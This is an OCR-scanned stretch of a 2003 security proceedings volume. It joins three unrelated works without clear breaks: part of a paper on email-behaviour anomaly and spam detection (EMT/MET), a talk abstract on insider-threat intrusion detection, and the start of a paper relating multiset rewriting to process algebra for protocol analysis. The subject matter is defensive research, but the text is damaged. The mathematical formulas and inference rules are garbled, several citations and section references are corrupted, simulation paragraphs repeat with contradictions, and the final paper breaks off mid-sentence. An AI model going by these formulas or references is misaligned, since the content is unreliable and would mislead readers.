To illustrate the idea of both types of cliques and show how they might be used in
a spam detection task, two simulations are run. In both cases, various attack strategies
are simulated. Detection is attempted based on examining a single attack email.
Final results are based on how well such detection performs statistically.

In the case of enclave cliques, the following simulation is performed. An enclave
of 10 accounts is created, with each account sending 500 emails. Each email has a
recipient list that is no larger than 5 and whose actual size follows Zipf distribution,
where the rank of the size of recipient lists is in decreasing order of the size; i.e. sin-
gle-recipient emails have a rank of 1 and 5-recipient emails have a rank of 5. Fur-
thermore, for each account, a random rank is assigned to its potential recipients and
this rank is constant across all emails sent. Once the recipient list size an email is
determined, the actual recipients of that email is generated based on generalized Zipf
distribution, with theta = 2. Finally, a threshold of 50 is used to qualify any pair of
accounts to be in a same clique.

In terms of attack strategies used, 5 different ones are tested. The first is to send to
all potential recipient addresses, one at a time. The second, third and fourth attack
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strategies are to send 20 attack emails, each with 2, 3 and 5 randomly chosen ad-
dresses. The value, 20, is of no concern here, since detection is based solely on each
email. The last strategy is to send a single email to all potential email addresses.
During the detection phase, each attack email is examined and compared with previ-
ously classified enclave cliques. An alarm is triggered if the recipient list of the email
is not a subset of any of the known enclave cliques. Finally, 10 replications of simu-
lation are run and the resulting statistics are listed below. As expected from intuition,
it is easier to detect a potential anomaly if the size of the recipient list of the attack
email is large.

In the case of user cliques, the following simulation is performed. 200 emails are
sent from an account to 10 potential recipients according to some rules. Each email
has a recipient list size that is no larger than 5 and whose actual size is determined
based on Zipf distribution, where the rank of the size of recipient lists is in decreasing
order of the size; i.e. single-recipient emails have a rank of 1 and 5-recipient emails
have a rank of 5. Furthermore, a random rank is assigned to its potential recipients
and this rank is constant across all emails sent. Once the recipient list size of an email
is determined, the actual recipients of that email is generated based on generalized
Zipf distribution. Finally, a threshold of 50 was used to qualify any pair of accounts to
be in a same clique.

Five different attack strategies were simulated and tested. The first strategy sends a
distinct email to all potential recipient addresses, one at a time. The second, third and
fourth attack strategies send 20 attack emails, each with 2, 3 and 5 randomly chosen
addresses. The value, 20, is of no concern here, since detection is based solely on each
email. The last strategy sends a single email to all potential email addresses. During
the detection phase, each attack email is examined and compared with previously
classified enclave cliques. An alarm is triggered if the recipient list of the email is not
a subset of any of the known enclave cliques. Finally, 10 replications of the simula-
tion were run and the resulting statistics are listed below. As expected from intuition,
it is easier to detect a potential anomaly if the size of the recipient list of the attack
email is large.

Table 2. Simulation of enclave cliques, with 5 attack strategies.

Attack Strategy Detection Rate
Send to all addresses, one at a time 0
Send many emails, each containing 2 ran-
7 %
dom addresses
Send many emails, each containing 3 ran-
17 %
dom addresses
Send many emails, each containing 5 ran-
30 %
dom addresses
Send 1 email, containing all addresses 90 %

In terms of attack strategies used, the same 5 strategies are used, as in the case of
enclave cliques. During the detection phase, each attack email is examined and com-
pared with previously classified user cliques. An alarm is triggered if the recipient list
of the email is not a subset of any of the known user cliques. Finally, 30 replications
of simulation are run and the resulting statistics are listed below. As is also expected
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from intuition, it is easier to detect a potential anomaly if the size of the recipient list
of the attack email is large.

Table 3. Simulation of user cliques, with 5 attack strategies.

Attack Strategy Detection Rate
Send to all addresses, one at a time 0
Send many emails, each containing 2 ran-
13 %
dom addresses
Send many emails, each containing 3 ran-
49 %
dom addresses
Send many emails, each containing 5 ran-
96 %
dom addresses
Send 1 email, containing all addresses 100 %

3 Supervised Machine Learning Models

In addition to the attachment and account frequency models, EMT includes an inte-
grated supervised learning feature akin to that implemented in the MEF system previ-
ously reported in [12].

3.1 Modeling Malicious Attachments

MEF is designed to extract content features of a set of known malicious attachments,
as well as benign attachments. The features are then used to compose a set of training
data for a supervised learning program that computes a classifier. Fig. 2 displays an
attachment profile including a class label that is either “malicious” or “benign”.

MEF was designed as a component of MET. Each attachment flowing into an
email account would first be tested by a previously learned classifier, and if the likeli-
hood of “malicious” were deemed high enough, the attachment would be so labeled,
and the rest of the MET machinery would be called into action to communicate the
newly discovered malicious attachment, sending reports from MET clients to MET
servers.

The core elements of MEF are also being integrated into EMT. However, here the
features extracted from the training data include content-based features of email bod-
ies (not just attachment features).

The Naive Bayes learning program is used to compute classifiers over labeled
email messages deemed interesting or malicious by a security analyst. The GUI al-
lows the user to mark emails indicating those that are interesting and those that are
not, and then may learn a classifier that is subsequently used to mark the remaining
set of unlabeled emails in the database automatically.

A Naive Bayes [5] classifier computes the likelihood that an email is interesting
given a set of features extracted from the set of training emails that are specified by
the analyst. In the current version of EMT, the set of features extracted from emails
includes a set of static features such as domain name, time, sender email name, num-
ber of attachments, the MIME-type of the attachment, the likelihood the attachment is
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malicious, the size of the body, etc. Hot-listed “dirty words” and n-gram models and
their frequency of occurrence are among the email message content-based linguistic
features supported. We describe these next.

EMT is also being extended to include the profiles of the sender and recipient
email accounts, and their clique behavior, as features for the supervised learning
component.

3.2 Content-Based Classification of Emails

In addition to using flow statistics about an email to classify an email message, we
also use the email body as a content-based feature. There are two choices we have
explored for features extracted from the contents of the email. One is the n-gram [16]
model, and the other is a calculation of the frequency of a set of words [17].

An N-gram represents the sequence of any n adjacent characters or tokens that ap-
pear in a document. We pass an n-character wide window through the entire email
body, one character at a time, and count the number of occurrences of each n-gram.
This results in a hash table that uses the n-gram as a key and the number of occur-
rences as the value for one email; this may be called a document vector.

Given a set of training emails, we use the arithmetic average of the document vec-
tors as the centroid for that set. For any test email, we compute the cosine distance
[16] against the centroid created for the training set. If the cosine distance is 1, then
the two documents are deemed identical. The smaller the value of the cosine distance,
the more different the two documents are.

The formula for the cosine distance is:

J J J
D(x,y)szjyj/(foZy,f)”z =cos6,, (11)
j=1

j=1 k=l
Here J is the total number of possible n-grams appearing in the training set and
the test email. X is the document vector for a test email, and Y is the centroid for the

training set. X; represents the frequency of the j" n-gram (the n-grams can be sorted

uniquely) occurring in the test email. Similarly y , represents the frequency of the k"

n-gram of the centroid.

A similar approach is used for the words in the documents instead of the n-grams.
The classification is based on Naive Bayes learning [17]. Given labeled training data
and some test cases, we compute the likelihood that the test case is a member of each
class. We then assign the test email to the most likely class.

These content-based methods are integrated into the machine learning models for
classifying sets of emails for further inspection and analysis.

Using a set of normal email and spam we collected, we did some initial experi-
ments. We use half of the labeled emails, both normal and spams, as training set, and
use the other half as the test set. The accuracy of the classification using n-grams and
word tokens varies from 70% to 94% when using different part as training and testing
sets.

It’s challenging to figure out spam using only content because some of the spam
content are really like our normal ones. To improve the accuracy we also use
weighted key words and stopwords techniques. For example, the spams also contain
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the words: free, money, big, lose weight, etc. Users can empirically give some key
words and give higher weight to them when count their frequency. To avoid counting
those common words user can give a stopwords list to delete those words first, which
is a common approach in NLP. We are still doing further experiments and analysis on
this content-based part.

Recent studies have indicated a higher accuracy using weighted naive bayes on
email contents. But as these methods become common, the spam writers are finding
new and unusual ways to circumvent content analysis filters. These include, pasting in
encyclopedia entries into the non rendered html section of the email, using formatting
tricks to break apart words, using images, and redirection.

4 Discussion

4.1 Deployment and Testing

It is important to note that testing EMT and MET in a laboratory environment is not
particularly informative, but perhaps suggestive of performance. The behavior models
are naturally specific to a site or particular account(s) and thus performance will vary
depending upon the quality of data available for modeling, and the parameter settings
and thresholds employed.

It is also important to recognize that no single modeling technique in EMT’s reper-
toire can be guaranteed to have no false negatives, or few false positives. Rather,
EMT is designed to assist an analyst or security staff member architect a set of models
whose outcomes provide evidence for some particular detection task. The combina-
tion of this evidence is specified in the alert logic section as simple Boolean combina-
tions of model outputs; and the overall detection rates will clearly be adjusted and
vary depending upon the user supplied specifications of threshold logic. In the follow-
ing section, several examples are provided to suggest the manner in which an EMT
and MET system may be used and deployed.

To help direct our development and refinement of EMT and MET, we deployed
MET at two external locations, and the version of EMT described herein at one exter-
nal location. (Because of the nature of the sensitivity of the target application, email
analysis, both organizations prefer that their identities be left unknown; a topic we
address in section 6.) It is instructive, however, to consider how MET was used in
one case to detect and stop the spread of a virus.

The particular incident was an inbound copy of the “Hybris” virus, which appeared
sometime in late 2000. Hybris, interestingly enough, does not attack address books of
Window’s based clients, but rather takes over Winsock to sniff for email addresses
that it targets for its propagation. The recipient of the virus noticed the inbound email
and a clear “clique violation” (the sender email address was a dead giveaway). Fortu-
nately, the intended victim was a Linux station, so the virus could not propagate itself,
and hence MET detected no abnormal attachment flow. Nonetheless, the intended
victim simply used the MET interface to inspect the attachment he received, and no-
ticed 4 other internal recipients of the same attachment. Each were notified within the
same office and subsequently eradicated the message preventing the spread among
other Windows clients within the office.
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Simply having a tool to peer into the email behavior of the enclave provided a
quick and effective response by one observer. The value of this type of technology to
a large organization is noteworthy. A large enterprise that may manage 10’s of thou-
sands of hosts with several large NOC’s would benefit greatly from early observation
and detection and a quick response to avoid saturation of the enterprise. Indeed, the
cost in time of staff to eradicate a virus on so many hosts makes a MET-like system a
sensible protection mechanism, with demonstrable ROI. This, however, illuminates
issues regarding response.

4.2 Response

There is also an interesting issue to consider regarding response to detected errant
email events. MET is designed to detect errant email behavior in real time to prevent
viral propagations (both inbound and outbound) from saturating an enterprise or en-
clave, to eliminate inbound SPAM, detect Spam bots utilizing (compromised) ma-
chines within an organization and other detectable misuses of email services. The
behavior models employed compare recent email flows to longer-term profiles. The
time to gather recent behavior statistics in order to detect an errant email event pro-
vides a window of opportunity for a viral or spam propagation to succeed in spreading
to some number of hosts, until sufficient statistics have been gathered and tested in
order to generate an alarm and subsequent corrective action taken. The number of
successfully infected hosts targeted by the emails that leak out prior to detection, will
vary depending upon a number of factors including network connectivity (especially
the density of the cliques of the first victim).

This notion is discussed in a recent paper [15] that considers essentially propaga-
tion rates through a network defined by address book entries and the “social network
links” defined therein among members of a network community, and subsequent
strategies for managing and protecting address book data from the prying eyes of
malicious code. It is important to note that viruses, such as Hybris, that do not attack
address book data may follow a completely different propagation strategy not infer-
able from address book data. In such cases, EMT’s account behavior models would
likely detect viral spreads simply by noting abnormal account or attachment behav-
iors.

An alternative architectural strategy for a deployed MET/EMT system, reminiscent
of router rate limiting technology to limit congestion, is to delay delivery of suspi-
cious emails until such time as sufficient statistics have been gathered in order to
determine more accurately whether a propagation is ongoing, or not. A recent paper
by Williamson [14] notes the same strategy. Here, suspicious emails may be those
deemed possibly anomalous to one or more of the behavior models computed by
EMT and deployed in MET. Delaying delivery time would naturally reduce the op-
portunity for a propagation to saturate an environment, preventing fewer emails from
leaking out. If no further evidence is developed suggesting an errant email event, the
mail server would simply forward held emails. In the case where sufficient evidence
reveals a malicious email event, such emails may be easily quarantined, followed by
informative messages sent back to the client that originated those messages.

Even if the system incorrectly deems an email event as abnormal, and subsequently
incorrectly quarantines emails, a simple means of allowing users to release these can
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be provided as a corrective action. Clearly, this may raise the “annoyance” level of
the system forcing users to validate their email transmissions from time to time. The
issue is of course complex requiring a careful design to balance between the level of
security and protection an enterprise or enclave desires, the cost of repair of damage
to errant email events, with the potential annoyance internal users may experience to
prevent that damage.

We plan to study such issues in our future work after deploying MET in different
environments.

5 Tradeoffs: Security, Privacy and Efficiency

For wide deployment of an MET/EMT system, users and providers must carefully
study a number of tradeoffs regarding security and privacy of the user, and the value
and cost of the protection mechanism such a system may provide.

The MET system can be configured to extract features from the contents of emails
without revealing private information (e.g., aggregate statistics such as size, number
of attachments, distribution of letters in the body, or even the number of occurrences
of certain hot listed “dirty words”.). Identity information may be hashed using a one
way hash.

EMT’s analysis may be entirely performed by hashing the identity of email ac-
counts and thus hiding personally identifiable information while still providing the
core functionality of MET. However, a large service provider may incur additional
expense of its email services if fielding an MET system to protect their customers.
The current set of models computed by EMT are a first cut using techniques that are
as light weight to implement and as informative as possible. More advanced modeling
techniques will likely incur additional cost. The cost may be offloaded from the pro-
vider’s servers by pushing much of the computation and profiling mechanisms to the
user’s client machine further protecting the user’s privacy. This would offload ex-
pense, while also limiting the information the email service provider may see (al-
though of course they may still have the means of doing so).

Even so, ultimately the privacy of users must be considered, and is a matter of trust
between the email service provider and the user (perhaps ultimately governed by law
and regulation). The same trust relationship exists between banks and credit card
users, and telecommunication companies and their customers, and such trust has
benefited both parties; credit card fraud, for example, limits the liability and financial
damage to both parties due to fraud. We believe a similar trust relationship between
email providers and users will also benefit both parties.

As for security considerations, if EMT’s analyses are performed at a user’s client
machine, the profile data of the user would be subject to attack on the client, allowing
clever virus writers to thwart many of the core protection mechanisms EMT and MET
provide. For example, if a clever virus writer attacks the EMT user profile data on the
client platform (which is quite easy for some platforms), the virus may propagate
itself in a manner that is entirely consistent with the user’s normal behavior, thus,
interestingly, hijacking or spoofing the user’s behavior, rather than spoofing the user’s
identity. EMT and MET would therefore accomplish nothing. This would therefore
argue for service providers to provide the needed resources in their email service to
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protect their customers (and hence to pass along these costs in their service fees;
user’s may be willing to pay more for security).

Deployment of an MET/EMT system in a corporate enterprise or enclave environ-
ment would likely have a completely different risk and cost assessment dynamic
when considering the potential damage that may be incurred corporate-wide by virus
attacks, or security policy violations (where corporate proprietary information may be
revealed). It is apparent that the tradeoffs between privacy and security and cost are
non-trivial, and ultimately are a matter of risk and benefit assessment between users
and providers who will likely ultimately find an optimal balance.

6 Concluding Remarks

We are actively gathering large amounts of email data from volunteers within the
Computer Science Department of Columbia University to test our hypotheses. We are
aiming to develop a fully deployed system and further develop the range of analyses
appropriate for such a behavior-based protection system.

There are other uses of an MET/EMT system worth noting, metering of email and
application layer profiling. There is some discussion in the popular press about the
costs of spam emails and the burden placed upon ordinary users. Some analysts have
proposed that email may one day not be a free service provided by ISP’s, but rather a
fee- or usage-based service provided by ISP in order to create an economic hurdle to
spammers, and to of course recover their costs in handling massive amount of un-
wanted emails. Hence, each outbound email sent by a user account may incur a
charge. If such schemes are indeed implemented, it likely would not be long before
inbound received emails would also incur a charge (akin to “airtime” charges for
inbound cell phone calls). Obviously, a system based upon MET/EMT would there-
fore become very useful for managing billing information and service charges (since a
record of each email is maintained by MET), and is thus a natural extension to its core
functionality.

It is also interesting to note that EMT also serves as a general strategy for an Appli-
cation-level Intrusion Detection System. Email is after all an application. The same
principles of behavior modeling and anomaly detection may also be applied to an
arbitrary application. Thus, we are also exploring the application of a general form of
EMT to model the behavior of large-complex distribution applications to detect errant
misuses of the application.
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Apendix A: ScreenShots of EMT
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1 Introduction

Securing the cyberspace from attacks is critical to the economy and well being of any
country. During the past few years, threats to cyberspace have risen dramatically. It is
impossible to close all security loopholes in a computer system by building firewalls
or using cryptographic techniques. As a result, intrusion detection has emerged as a
key technique for cyber security. Currently there are more than 100 commercial tools
and research prototypes for intrusion detection. These can be largely classified as
either misuse or anomaly detection systems. While misuse detection looks for specific
signs by comparing the current activity against a database of known activity, anomaly
detection works by generating a reference line based on the system model and signal-
ing significant deviations from it as intrusions. Both approaches rely on audit trails,
which can be very huge. Moreover, conventionally they are off-line and offer little in
terms of strong deterrence in the face of attacks.

In this talk, we will examine the intrusion detection tools and techniques from a
taxonomical point of view and study the real-time properties and applicability to real
systems and their shortcomings. Following the overview, we will present our own
cost analysis-based framework, which quantifies and handles both misuse and anoma-
lies in a unified way. Decisions regarding intrusions are seldom binary and we have
developed a reasoning framework that makes decisions on a more informed basis. The
overall reference graph is based on the user’s profile and the intent obtained at the
beginning of sessions. The uniqueness of each user’s activity helps identify and arrest
attempts by intruders to masquerade as genuine users, which is typically the case in
insider attacks. We will examine this work and present some results.

2 Brief History

The goal of intrusion detection system (IDS) is to monitor network assets to detect
misuse or anomalous behavior. Research on intrusion detection started in 1980 as a
government project and under the leadership of Dorothy Denning at SRI Interna-
tional, the first model for intrusion detection was developed in 1983 [3]. Earlier ver-
sions of intrusion detection systems were largely host-based and the work of the
“Haystack project” led to network level intrusion detection systems. Commercial
intrusion detection systems were introduced in the 90’s and today there are more than
100 tools and prototypes that can be purchased or experimented with. Most of these
tools work on audit trail data or data packets obtained across the network.

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 82-85, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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First generation intrusion detection tools are essentially misuse signature-based and
security is accomplished by iterative “penetrate and patch”. Today’s focus is on de-
tecting novel intrusions. With the proliferation of the Internet and the increased power
of the attacker, short term solutions and tools not very useful and new solutions must
consider insider attacks, social engineering based break-ins and the myriad ways of
perpetrating an attack. Some of the new ideas include combining intrusion detection
with vulnerability analysis and considering recovery along with detection since detec-
tion is not fool proof.

3 Intrusion Detection Taxonomy

Debar, Dacier and Wespi gave the first taxonomy of intrusion detection systems [2].
They used Detection Method, Behavior on Detection, Audit Source Location, Detec-
tion Paradigm and User Frequency as the parameters of classification. Upadhyaya and
Kwiat introduced a variation of the taxonomy and presented it in a tutorial in IEEE
MILCOM 2002. According to this taxonomy, intrusion detection techniques and tools
are classified along four major parameters as follows: (1) Detection Methodology —
this classification uses information about attacks versus information about normal
functioning of the system; (2) Scope — host based versus network based systems; (3)
Monitor Philosophy — passive versus proactive; and (4) Monitor level — kernel level
versus user operation level. Detection methodology also depends on the reasoning
philosophy. For example, rule-based versus model-based. Host based IDS tools work
on the host, can detect masquerade, account break-in etc. whereas Network based
tools are applicable to large-scale networks and depend on information on network
packets. Passive tools are noninvasive, non-intrusive but mostly are after-the-fact and
use no communication with users whereas Proactive schemes are real-time, concur-
rent detection tools with low latency and employ user interrogation where needed.
Finally, the Kernel level tools make use of low level information and process data to
synthesize the attack scenarios whereas User operation level tools can capture user
semantics and are capable of detecting subtle intrusions.

4 Insider Attacks

An insider threat is one in which someone with an authorized access to the organiza-
tion could cause a loss to the organization if computer security went unchecked. The
perpetrators are those who work for the target organization or those having relation-
ships with the firm with some level of access. It could be employees, contractors,
business partners, customers etc. The motives could range from financial, social,
political to personal gains. There are two classes of insiders — logical insiders who
are physically outside and physical insiders who are logically outside. The misuse
could be intentional or accidental, obvious or hidden. Here are a few insider attacks
that made headlines.

e An individual faces federal criminal charges in US District Court in Miami for
allegedly downloading a virus into his employer’s computer system, crashing the
network for nearly two full days (NIPC Daily Report, Aug. 29, 2001).



84  S. Upadhyaya

e Former programmer Timothy Lloyd, who was fired in 1996, retaliated by setting
off a logic bomb that destroyed employer Omega Engineering’s primary database,
causing $12 million damage and forcing 80 people to be laid off (Security Wire
Digest, Vol. 3, No. 12, Feb. 12, 2001).

o Feds charge 3 in massive credit fraud scheme. Initial losses estimated at $2.7 mil-
lion (CNN.com, 2002).

CSI/FBI 1999 Computer Crime Survey indicated that 55% of the reported attacks
were from insiders. CSI/FBI 2000 Computer Crime Survey stated that 71% of the
respondents had been the victim of internal attacks. Dealing with this problem in-
volves three steps: modeling the insider, prevention of internal misuse and detection,
and analysis and identification of misuse. Approaches to prevention are to install and
execute appropriate anti-virus tools, install software updates and patches, encrypt
databases, key system files and even executables, electronically “watermark” docu-
ments so that their passage through any electronic gate can be automatically detected
and prevented and isolate privileged execution domain from less privileged execution
domains and implement multilevel security policies.

5 Surveillance Issues

The questions that need to be addressed to mitigate insider attacks are: what kind of
model one should develop?, should we consider prevention or detection or both?,
should the method be passive or proactive? For optimizing detection, the technology
must be tamper-resistant, must not burden the monitoring system and must be cost-
effective. In this talk, we consider just the detection problem. The insider attack de-
tection approaches are generally anomaly-based and could range from rule-based
detection, to statistical anomaly detection and proactive schemes such as query-based
encapsulation of owner intent [4].

6 A New Proactive Scheme for Insider Threat Detection

Our approach relies on user level anomaly detection that avoids after-the-fact solu-
tions such as audit data analysis. We leverage ideas from fault tolerance where con-
current monitoring is used to detect control-flow errors. We capture owner’s intent
and use it as a reference signature for monitoring and a reasoning framework is de-
veloped for making rational decisions about intrusions. Certain engineering method-
ologies such as Divide and Conquer are used to address scalability of the approach.
We obtain the reference graph by Encapsulation of owner’s intent, which requires
an implicit or explicit query of users for a session-scope. We then translate it into a set
of verifiable assertions. Actual operations are monitored at user command level and
the user behavior is assessed. The advantages of this approach are: no need to process
huge audit data and both external/internal abuse can be handled uniformly [4]. Rea-
soning about intrusions is done by a stochastic modeling of job activity. A double-
threshold scheme is used to resolve situations arising when job activity cost maps into
an ambiguous region. Cost gradients are used to shrink the window of uncertainty so
that a speedy decision on intrusion can be arrived [5]. Anomaly detectors are always
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faced with the scalability problem due to the large number of partial orderings of
operations. While no improvements over worst-case complexity exist, we employ
engineering approaches such as divide and conquer and use the concept of job priori-
ties, user workspaces and meta-operations for monitoring [1]. We are currently build-
ing a prototype of the system to demonstrate the proof-of-concept.
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Abstract. When formalizing security protocols, different specification
languages support very different reasoning methodologies, whose results
are not directly or easily comparable. Therefore, establishing clear map-
pings among different frameworks is highly desirable, as it permits vari-
ous methodologies to cooperate by interpreting theoretical and practical
results of one system in another. In this paper, we examine the non-
trivial relationship between two general verification frameworks: multi-
set rewriting (MSR) and a process algebra (PA) inspired to CCS and
the m-calculus. Although defining a simple and general bijection between
MSR and PA appears difficult, we show that the sublanguages needed
to specify a large class of cryptographic protocols (immediate decryption
protocols) admits an effective translation that is not only bijective and
trace-preserving, but also induces a weak form of bisimulation across
the two languages. In particular, the correspondence sketched in this ab-
stract permits transferring several important trace-based properties such
as secrecy and many forms of authentication.

1 Introduction

In the last decade, security-related problems have attracted the attention of
many researchers from several different communities, especially formal methods

* Bistarelli was partially supported by MIUR project “Constraint Based Verification
of Reactive Systems” (COVER), and by the MIUR project “Network Aware Pro-
gramming: Object, Languages, Implementation” (NAPOLI). Cervesato was partially
supported by NRL under contract N00173-00-C-2086. Lenzini was supported by
the MIUR-CNR Project SP4. Martinelli was partially supported by MIUR, project
“Constraint Based Verification of Reactive Systems” (COVER), by MIUR project
“MEFISTO”, by Microsoft Research and by the CSP project “SeTAPS II”.
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(e.g., [ETATH2E27ROT2TATOIRT]). These researchers have often let their
investigation be guided by the techniques and experiences specific to their own
areas of knowledge. This massive interest, while on the one hand furthers re-
search, on the other has determined a plethora of different results that often are
not directly comparable or integrable with one another. In the last few years,
attempts have been made to unify frameworks for specifying security properties
usually managed in different ways [17], and to study the relationships between
different models for representing security protocols [g].

In this paper, we relate uses of process algebras (PA) and multiset-rewriting
(MSR) for the description and the analysis of a large class of security protocols
by defining encodings from one formalism to the other. A general comparison
between PA and MSR yields results weaker than the specialized application to
security protocols analyzed here [4]. Differently from [5], we restrict our attention
to a subclass of protocols that never receive a key needed to decrypt an earlier
message. We call them “immediate decryption protocols”. Although this class
encompasses most protocols studied in the literature, and therefore is interesting
on its own, a more general treatment is given in [4J5].

PA is a well-known formal framework and actually denote a family of calculi
which have been proposed for describing features of distributed and concurrent
systems. Here we use a process algebra that borrows concepts from different
calculi, in particular the w-calculus [22] and CCS [21]. We expect that it will
be possible to adapt our results to other (value passing) process algebras used
in security protocol analysis, e.g., the spi-calculus [2] or even CSP [24]. Indeed,
when applied to security protocol analysis, most of them rely only on a well-
identified subset of primitives, that have been isolated in the language considered
here.

MSR, with its roots in concurrency theory and rewriting logic, has proved to
be language of choice for studying foundational issues in security protocols [7].
It is also playing a practical role as the CIL intermediate language [12] of the
CASPL security protocol analysis system [II], in particular since translators
from several tools to CIL have been developed. For these reasons, MSR has
become a central point when comparing languages for protocol specification. In
particular, the ties between MSR and strand spaces [26], a popular specification
language for crypto-protocols, have been analyzed in [§].

The results of this paper are twofold. First, our encodings establish a firm
relationship between the specification methodologies underlying MSR and PA
in order to relate verification results obtainable in each model. In particular,
the simple correspondence achieved in this paper is sufficient to transfer several
useful trace-based properties such as secrecy and many forms of authentication.
Second, by bridging PA and MSR, we implicitly define a correspondence between
PA and other languages, in particular strand spaces [26] (in a setting with an
interleaving semantics), a worthy investigation as remarked in [I0]. Interesting
work about linear logic and multiset rewriting appears in [20)].

The rest of the paper is organized as follows. Section [ recalls the multiset
rewriting and process algebra frameworks and in Section Bltheir use in security
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protocols specification. Section [ presents the encodings from multiset rewriting
to process algebra (Section dTl), and vice versa (Sectiond2)). Section[H provides
the notion of equivalence motivating the encodings. Finally, Section Bl gives some
concluding remarks.

2 Background

In this section, we recall the syntax and formal semantics of multiset rewriting
(MSR) and of process algebras (PA).

2.1 First Order Multiset Rewriting

The language of first-order MSR is defined by the following grammar:

Elements a | a(t),a
Rewriting Rules r = a(x) - Inb(x,n)
Rule sets rou= - | T
Multiset elements are chosen as atomic formulas a(t) for terms ¢t = (t1,...,t,)

over some first-order signature Y. We will write a(x) (resp., t(x)) when we want
to emphasize that variables, drawn from @, appear in a multiset a (resp., a term
t). In the sequel, the comma “” will denote multiset union and will implicitly
be considered commutative and associative, while “”  the empty multiset, will
act as a neutral element (which will allow us to omit it when convenient). The
operational semantics of MSR is expressed by the following two judgments:

:&—>E~
ca—b

Single rule application T
Tterated rule application T
The multisets @ and b are called states and are always ground formulas. The
arrow represents a transition. These judgments are defined as follows:

(7,a(x) — Inb(x,n)) : (& at/z])) — (& bt/x, k/n])

r:a—a r:a—¢

The first inference shows how a rewrite rule r = a(x) — ﬂn.l;(:c, n) is used
to transform a state into a successor state: it identifies a ground instance a(t) of
its antecedent and replaces it with the ground instance b(t, k) of its consequent,
where k are fresh constants. Here [t/x] denotes the substitution (also written 6)
replacing every occurrence of a variable x among @ with the corresponding term
t in t. These rules implement a non-deterministic (in general several rules are
applicable at any step) but sequential computation model (one rule at a time).
Concurrency is captured as the permutability of (some) rule applications. The
remaining rules define —* as the reflexive and transitive closure of —.
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2.2 Process Algebras
The language of PA is defined by the following grammar:

Parallel processes Q == 0| QP | Q|'P
Sequential processes P == 0| al).P | a)P | va.P

Parallel processes are defined as a parallel composition of, possibly replicated,
sequential processes. These, in turn, are a sequence of communication actions
(input or output) and constant generation. An output process a(t).P is ready
to send a tuple t = (t1,...,tx), built over a signature X, along the polyadic
channel named a. An input process a(t).P is ready to receive a tuple of messages
and match them against the patterns ¢, possibly binding previously unbound
variables in it. Finally, the creation of a new object in P (as in the 7-calculus [23])
is written as va.P. The binders of our language are vz. and a(t), which bind
r and any first occurrence of a variable in %, respectively. This induces the
usual definition of free and bound variables in a term or process. We write
var(t) for the free symbols occurring in a process @; no channel name is ever
free. This language is sufficiently expressive to conveniently formalize immediate
decryption protocols. The general case, which makes use of delayed decryption,
requires an explicit pattern matching operator. A preliminary solution to this
more general problem is presented in [5], while a proper treatment appears in [4].
The operational semantics of PA is given by the following judgments:

Single interaction Q = Q'; Iterated interaction Q =* Q'

They are defined as follows:

t =1t k & var(Q, P)
@l a@).p | a®).P) = (Q| P P']) (@ | va.P) = (Q || Plk/x])
Q=Q" Q' =¢q Q=Q" Q" =qQ
Q=q Q="Q Q= qQ

The first inference (reaction) shows how two sequential processes, respectively
one ready to perform an output of ground terms ¢, and one ready to perform an
input over patterns t’' react by applying the instantiating substitution 6 to P’.
The second rule defines the semantics of va as instantiation with an eigenvari-
able. The next rule allows interactions to happen modulo structural equivalence,
=, that in our case contains the usual monoidal equalities of parallel processes
with respect to || and 0, and the unfolding of replication (i.e., , |P =P | P).
Finally, the last two inferences define =* as the reflexive and transitive closure
of =

3 Security Protocols

We now consider sublanguages of MSR, and PA (here referred as MSRp and
PAp) that have gained recent popularity for the specification of cryptographic
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protocols (see for example [2[T7]). Narrowing our investigation to a specific do-
main will allow us to directly compare these restricted versions of MSR and PA.
The two specifications will rely on a common first-order signature X'p that in-
cludes at least concatenation ((-, -)) and encryption ({-}_). In both formalisms
terms in X'p stand for messages. Predicate symbols are interpreted as such in
MSR p, and as channel names in PA p. Variables will also be allowed in rules and
processes.

3.1 Protocols as Multiset Rewriting
MSR p relies on the following predicate symbols [8]:

Network Messages (N ): are the predicates used to model the network, where
N(t) means that the term ¢ is lying on the network.

Role States (fl) are the predicates used to model roles. Assuming a set of
role identifiers R, the family of role state predicates {A,,(t) :i=0...1,}, is
intended to hold the internal state, t, of a principal in role p € R during the
sequence of protocol steps. The behavior of each role p is described through
a finite number of rules, indexed from 0 to [,.

Intruder (I): are the predicates used to model the intruder I, where I(t),
means that the intruder knows the message t.

Persistent Predicates (7): are ground predicates holding data that does not
change during the unfolding of the protocol (e.g., Xp(K, K’) indicates that
K and K’ form a pair of public/private keys). Rules use these predicates to
access the value of persistent data.

A security protocol is expressed in MSR p as a set of rewrite rules 7 of a spe-
cific format called a security protocol theory. Given roles R, it can be partitioned
as 7 = Uper(,), 71, where 7, and 7; describe the behavior of a role p € R and
of the intruder I. For each role p, the rules in 7, consist of:

— one instantiation rule Tpy : T(x) = IN.A, (n,x), 7(x)
— zero or more (i =1...1,) message exchange rules:

send Tp; * Ap,i71(15) — APL(w)vN(t(a:))

receive rp i Ap_ (), N(t(z,y)) — A, (x,y)

Notice that, differently from [5] where delayed decryption protocols are handled,
the role state predicates are restricted to having only variables as their argu-
ments. The notation #(z) is meant to indicate that the variables appearing in
term ¢ are drawn from z. We can safely elide 4, () from the very last rule.

It should be observed that the form of these rules does not allow representing
protocols that receive an encrypted message component and only at a later stage
are given the key to decrypt it. This case requires a more complicated treatment,
which is presented in [5] and fully analyzed in [4]. The simplified study analyzed
here should not be dismissed, however, since the majority of the protocols studied
in the literature do not manifest the above behavior.
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Rules in 77 are the standard rules describing the intruder in the style of Dolev-
Yao [I3], whose capabilities consist in intercepting, analyzing, synthesizing and
constructing messages, with the ability to access permanent data. Formally:

rIy m(x)—=1(z), 7(x) T, -—3n.I(n)
TIg: I(z)—N(x) r, N(z)—I(x)

TI5: I({z1, x2))—=1(21), I(22) rig o I(z1), I(z2) =1 ({21, 22))
ri;e I({x}e), I(k),Kp(k, k") —=I(z),Kp(k, k") | 713 :  I(z), I(k)—=I({z})
TIo: I(z)—- T I(z)—=I(z), I(x)

where x and k are variables.

In MSRp, a state is a multiset of the form § = (;1, N, 1, 7), where the com-
ponents collect ground facts of the form N (t), A,, (t), I(t) and 7(t), respectively.
An initial state 59 = (7, Iy) contains only persistent predicates (7) and initial
intruder knowledge (In). A pair (7 : §) consisting of an protocol theory 7 and a
state § is called a configuration. The initial configuration is (7 : §¢). An example
specification is given in Appendix [A 1l

3.2 Protocols as Processes

A security protocol may be described in a fragment of PA where: (a) every
communications happen through the net (here P, is the process that manages
